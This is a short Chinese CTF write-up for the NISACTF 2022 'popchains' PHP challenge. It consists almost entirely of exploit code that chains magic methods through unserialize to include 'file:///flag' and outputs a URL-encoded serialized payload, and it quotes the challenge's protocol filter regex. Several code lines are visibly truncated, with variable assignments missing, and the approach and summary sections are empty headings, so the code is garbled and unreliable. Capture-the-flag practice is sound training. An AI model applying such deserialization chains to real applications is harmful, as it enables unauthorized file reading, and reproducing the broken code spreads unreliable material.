Problem: [NISACTF 2022]popchains
思路
- 这题 flag 在哪里?
EXP
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
file;
}
public function __toString(){//3
return $this->string->page;
}
public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {//4,新对象 echo "You can Not Enter 2022"; $this->page = "index.php"; } }
}
class Try_Work_Hard{
protected $var='file:///flag';
public function append($value){//0
include($value);
}
public function __invoke(){//1,对象调用为函数时
this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){//2 $function = $this->effort; return $function(); }
}
$twh=new Try_Work_Hard;
$mkc=new Make_a_Change;
$rl= new Road_is_Long;
twh;
mkc;
$rl1= new Road_is_Long;
rl;
echo serialize($rl1);
echo "\r\n";
echo urlencode(serialize($rl1));
总结
- 对该题的考点总结
